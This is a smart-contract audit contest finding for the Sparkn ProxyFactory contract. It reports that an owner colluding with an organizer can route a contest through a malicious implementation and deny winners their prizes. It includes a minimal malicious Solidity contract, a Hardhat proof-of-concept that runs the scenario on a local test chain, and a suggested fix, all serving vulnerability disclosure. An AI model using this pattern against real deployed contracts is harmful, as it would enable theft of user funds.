Sparkn

CodeFox Inc.
DeFiFoundryProxy
15,000 USDC
View results
Previous Next
Submission Details
Severity: high

Centralization Risk Mitigation for Single Owner

kamuik16

Summary

The current structure of the ProxyFactory contract exposes a significant vulnerability due to its reliance on an address of the implementation contract for each function. Also there is a single owner for the ProxyFactory Contract and it greatly increases the risk for a single point of centralization. If the owner decides to collude with organizer, they can deprive winners of their prize money.

Vulnerability Details

The key vulnerability here is taking the address of implementation for each function and not using a global variable and an upgrade function to change it. Now consider the following scenario:

  1. Alice, the owner, and Bob, an organizer, establish a collusion.

  2. Bob deploys a malicious contract.

  3. Alice creates a contest for Bob, employing the malicious implementation's address instead of the Distributor contract.

  4. After the contest concludes, Bob invokes the end contest function.

  5. Since Alice chose the malicious implementation, the contest concludes abnormally, causing winners not to receive their prizes.

  6. Bob, with Alice's assistance, effectively deprives winners of their rightfully earned prizes.

Below is the contract and a Hardhat POC depicting the above scenario.

Contract

// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
​
contract BadImplementation{
​
bool public success;
​
function distribute(bool boolValue) public {
success = boolValue;
}
}

POC

const { expect } = require("chai");
const { ethers } = require("hardhat");
​
const contestId =
"0x7465737400000000000000000000000000000000000000000000000000000000";
​
async function getTime(days) {
const blockNumber = await ethers.provider.getBlockNumber();
const block = await ethers.provider.getBlock(blockNumber);
const currentTimestamp = block.timestamp;
const futureTimestamp = currentTimestamp + days * 86400;
return futureTimestamp;
}
​
async function deployMockToken() {
const testToken = await ethers.getContractFactory("MockERC20");
const MockERC20 = await testToken.deploy();
return MockERC20;
}
​
describe("CodeHawks", function () {
it("SPARKN", async function () {
const [owner, organizer] = await ethers.getSigners();
const USDT = await deployMockToken();
const DAI = await deployMockToken();
​
const factory = await ethers.getContractFactory("ProxyFactory");
const connectedFactory = factory.connect(owner);
const ProxyFactory = await connectedFactory.deploy([USDT, DAI]);
​
const bad = await ethers.getContractFactory("BadImplementation");
const BadImplementation = await bad.deploy();
expect(await BadImplementation.success()).to.equal(false);
​
const closeTime = await getTime(10); // A contest of 10 days
await ProxyFactory.connect(owner).setContest(
organizer,
contestId,
closeTime,
BadImplementation.target
); //Owner colludes with organizer to create a contest usings bad implementation
​
const delegateCallData =
"0xc1c9ec840000000000000000000000000000000000000000000000000000000000000001";
​
try {
await ProxyFactory.connect(organizer).deployProxyAndDistribute(
contestId,
BadImplementation.target,
delegateCallData
);
console.log(
"Owner and organizer successfully deprived winners of their funds!"
);
} catch (error) {
console.log(error);
}
});
});

Impact

The risk for a single point centralization becomes high and the probability for the malicious contest becomes likely. With this the winners for that contest will be deprived of their prize money.

Tools Used

Manual Review, Hardhat, VSCode

Recommendations

Recommendations:

address public implementation;
​
modifier onlyOwners {
//logic to upgrade only after majority of owners agree
_;
}
​
function upgradeTo(address newImplementation) external onlyOwners {
implementation = newImplementation;
}

Using this recommendation the address for implementation address should remain consistent across contest.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.